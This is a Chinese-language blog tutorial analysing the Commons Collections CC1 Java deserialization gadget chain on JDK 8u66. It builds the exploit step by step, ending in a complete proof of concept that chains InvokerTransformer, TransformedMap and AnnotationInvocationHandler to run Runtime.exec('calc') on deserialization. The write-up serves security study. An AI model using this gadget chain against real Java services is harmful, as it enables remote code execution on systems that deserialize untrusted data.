https://img2024.cnblogs.com/blog/3305226/202503/3305226-20250331155133325-143341361.jpg

CC1链分析

CC1链分析

因为分析的第一条cc链,所以每个细节都处理到了,之后的cc链就不会赘述很多了,毕竟基本都是大同小异,好好认真分析这第一条链,后面也就掌握了十之七八

环境:

CC1链在JDK 8u71及之后的版本中被修复,因此需要使用JDK 8u71之前的版本

使用的JDK环境为JDK8u66,JDK下载链接如下

可以放入虚拟机而后拷贝到宿主机进行使用,拷贝的具体路径为D:\Environment\JAVA\jdk8u66,而后在IDEA中,新建项目时选择对应JDK版本即可

loading-ag-343

建立好项目后,我们会发现一些代码,例如在sun包下的代码是.class文件,它的代码是直接反编译出来的,这种不可用来寻找调用同名函数,而且代码难以读懂,因此我们需要提前对其进行配置,我们需要下载其对应java文件至JDK中,具体方法如下

首先下载有漏洞的版本,链接如下

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4

而后点击左侧的zip即可下载压缩包

loading-ag-345

下载完成后,我们回到之前下载中的JDK8U66文件夹中

loading-ag-347

这里的src.zip为压缩包,我们将其解压在此文件夹下,而后,我们去刚刚下载的zip文件中找到sun包,具体路径为jdk-af660750b2f4\\jdk-af660750b2f4\\src\\share\\classes,而后将其解压到在这个src目录下

loading-ag-349

接下来在IDEA中选择Project Structure

选择SDKs,并在Sourcepath下添加src

loading-ag-351

此时就大功告成了,可以开始分析CC1链了。
也就是图中红色的链条部分

image-20250406145622969

原理分析:

来到漏洞点,InvokerTransformer这个类中有一个方法,transform方法中有明显反射调用方法,可以任意执行方法,我们创建InvokerTransformer这个类,传入参数类型,方法名,参数即可执行。不懂反射的看下这篇文章就行了。即有了能够命令执行的点.

https://blog.csdn.net/kye055947/article/details/88377209

所以transform函数的功能就懂了,可以任意对象调用方法

所以我们确定了一开始的思路,通过InvokerTransformer类,调用transform(runtime对象).其他参数放InvokerTransformer里

当前POC
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

这里顺便分析一下几个比较最重要的类,看看其他类重写transform,所以我们可以看看还有什么实现类,先简单了解下

ChainedTransformer,是一个Transformer[]数组

调用transform方法是递归调用其中数组中每个对象的transform方法

2.ConstantTransformer类

46f19b35-4bbc-48d8-a1a1-098bb9f1144a

314a7272-e5f1-452d-8249-aef8eab6eb08

也就是说构造时传入什么对象,这个类调用transform就还是会返回那个对象

简单了解了一下其他实现类,接着就查看哪里调用了transform方法(alt+F7)

c669aa56-f9ed-40d7-944a-df1d9bee6ab6

直接看结果了,checkSetValue()调用了该方法,真实情况下的话肯定每个地方都得看看,我们看看valueTransformer是什么

ae78ff37-1038-4379-b2bb-62dbc694b261

valueTransformer是TransformedMap类中的一个参数,类型是Transformer

有protected限制,我们看看类中其他方法能否调用

114699df-7e14-404f-8fbc-a12173e47179

这里找到了一个静态方法decorate(),返回类型是Map,其实相当于做了一个修饰,把map和Transformer键值对封装在一个map里

ddd60ca2-045e-4d29-9687-8b8e789fa34d

那我们可以构造下现在的poc,可以通过反射调用checkSetValue(runtime)导致成功执行,但我这里就不写出来了

public class Test1 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Runtime r = Runtime.getRuntime();
        //创建Transformer类
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        //创建一个Map
        HashMap<Object,Object> map = new HashMap<>();
        map.put("a","b");
        //通过TransformedMap类调用静态方法decorate
        //我们用到的类InvokerTransformer传到第三个参数中,第二个没用到就不用管
        Map transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
    }
}

db363084-d41d-4433-b871-9c0a8e84d24a

map不能为空,一直跟函数就可以知道,如果为空会抛出异常

5bc3fddf-eaa5-4d13-b95c-4b83ba96a949

我们继续找checkSetValue的调用

只有setValue调用了,这里的value的应为runtime对象才好,我的理解是我们根本不用管这里的parent和entry,因为我们不需要管他们是什么,之前我们分析valueTransformer是因为我们要把invokerTransformer恶意类传入,现在注意点在value这里我们继续反查setValue

bac86a5d-54f5-45ae-808c-55cd873fa3cb

这里也是直接说结果,我们很明显能看到在反序列化中调用了这个方法。就算找到了终点站了,接下来的思路就是构造AnnotationInvocationHandler类,使得最后value能为runtime对象,且能够把我们之前创建transformedMap塞进去,整个流程就基本完成了

54f71a34-d61a-484d-86f2-6ec5fd137c50

我们先看AnnotationInvocationHandler类的构造函数,第一个参数是注解类型,如Override,第二个是Map,换句话说我们可以把transformedMap塞进去完成了第一个条件,没有限定符,这里得反射构造

a94a080d-1168-48c3-a020-c6ab811eb774

目前的poc就长这样

public class Test1 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, IOException {
        Runtime r = Runtime.getRuntime();
        //创建Transformer类
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        //创建一个Map
        HashMap<Object,Object> map = new HashMap<>();
        map.put("a","b");
        //通过TransformedMap类调用静态方法decorate
        //我们用到的类InvokerTransformer传到第三个参数中,第二个没用到就不用管
        Map transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor con = c.getDeclaredConstructor(Class.class,Map.class);
        con.setAccessible(true);
        Object annotationInvocationHandler = con.newInstance(Override.class, transformedMap);
        //序列化
        new ObjectOutputStream(new FileOutputStream("ser.bin")).writeObject(annotationInvocationHandler);
        //反序列化
        new ObjectInputStream(new FileInputStream("ser.bin")).readObject();
    }
}

41260399-e869-41da-8837-41167bf2b3b6

接着我们就边调试边改代码,让程序按我们所想的运行

47b6573e-cd58-42a6-bacf-de69fce2a889

然后发现了第一个if进不去,箭头标注了有关系的几句

df146389-3df6-412b-b85c-63a58bcb8e29

其实就是注解中的值

6661d48e-eee7-47c4-9aca-5202d29272af

d951722a-8634-40dd-8fc5-7211eb0e1ff2

我们换成Target,Target中有值,发现还是null,因为如图,所以我们得把hashmap中的键改成value

ca28c9d1-57ea-4ac8-aadb-696f001599cc

e2f5a5e6-0b9e-4ef8-ae3b-7dc08f0a8305

接下来两个if都能通过了,遇到了新的问题,我们进入setValue看看

da6f8fa3-3c10-47ab-847f-cf2b6fff59de

1d91e688-b62d-46cd-844d-b9c42c5f5dfd

这里的value应该是传入Runtime对象才对,然后调用checkSetValue(value);->valueTransformer.transform(value);

729fb5de-c063-4e53-84f8-03d0d59dc94f

但是我们已经把valueTransformer拿下了对吧。再加上之前提过的一个实现类ConstantTransformer类,我们构造的时候放入什么对象调用transform方法时就会返回什么对象。好,现在返回了Runtime对象。那恶意类InvokerTransformer是不是没有用上了。无妨,还有一个实现类ChainedTransformer类是一个Transformer[]数组,且调用transform时是递归调用刚刚ConstantTransformer类返回的runtime对象再作为value返回transform里的value对象,这样就完美解决了value不可控问题

所以我们要定义一个transformer数组,代码现在修改成这样的,我们继续调试,看还有没有问题

public class Test1 {
    public static void main(String[] args) throws Exception {
        Runtime r = Runtime.getRuntime();
        //创建Transformer类
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        //创建ChainedTransformer类
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                invokerTransformer,
        });
        //创建一个Map
        HashMap<Object,Object> map = new HashMap<>();
        map.put("value","b");
        //通过TransformedMap类调用静态方法decorate
        //我们用到的类InvokerTransformer传到第三个参数中,第二个没用到就不用管
        Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor con = c.getDeclaredConstructor(Class.class,Map.class);
        con.setAccessible(true);
        Object annotationInvocationHandler = con.newInstance(Target.class, transformedMap);
        //序列化
        new ObjectOutputStream(new FileOutputStream("ser.bin")).writeObject(annotationInvocationHandler);
        //反序列化
        new ObjectInputStream(new FileInputStream("ser.bin")).readObject();
    }
}

但还是不不行,因为Runtime对象传入ConstantTransformer,很明显序列化对象图的递归性  即使Runtime被封装也无法被序列化,如何绕过,这里利用到了runtime.class类可以被序列化以及InvokerTransformer可以执行任意方法与ChainedTransformer链式调用绕过,下面就是对照的转化的过程

第一部分是利用runtime.class执行,虽然还是创建了runtime对象,但解决了一开始就传入Runtime对象的问题。

第二部分就是对照着把方法调用转化成InvokerTransformer类

cbdc8459-1af9-40c4-81ef-311e544207a6

对照着转就行了

//通过ConstantTransformer类返回Runtime.class作为参数对象
        Class c = Runtime.class;
        Method getRuntime = c.getMethod("getRuntime", null);
        Runtime r = (Runtime) getRuntime.invoke(null, null);
        r.exec("calc");

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
                //Runtime对象调用,直接调用exec就行了
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

        });

综合之前的代码最后就是

POC:

public class Test1 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, IOException {
        //创建ChainedTransformer类
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),       
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

        });
        //创建HashMap
        HashMap<Object,Object> map = new HashMap<>();
        map.put("value","b");
        //通过TransformedMap类调用静态方法decorate
        //我们用到的类InvokerTransformer传到第三个参数中,第二个没用到就不用管
        Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor con = c.getDeclaredConstructor(Class.class,Map.class);
        con.setAccessible(true);
        Object annotationInvocationHandler = con.newInstance(Target.class, transformedMap);
        //序列化
        new ObjectOutputStream(new FileOutputStream("ser1.bin")).writeObject(annotationInvocationHandler);
        //反序列化
        new ObjectInputStream(new FileInputStream("ser1.bin")).readObject();
    }
}

最后成功c0cdce74-50c1-4457-9277-bdbbde9105d1

posted @ 2025-03-31 15:40  kudo4869  阅读(171)  评论(0)    收藏  举报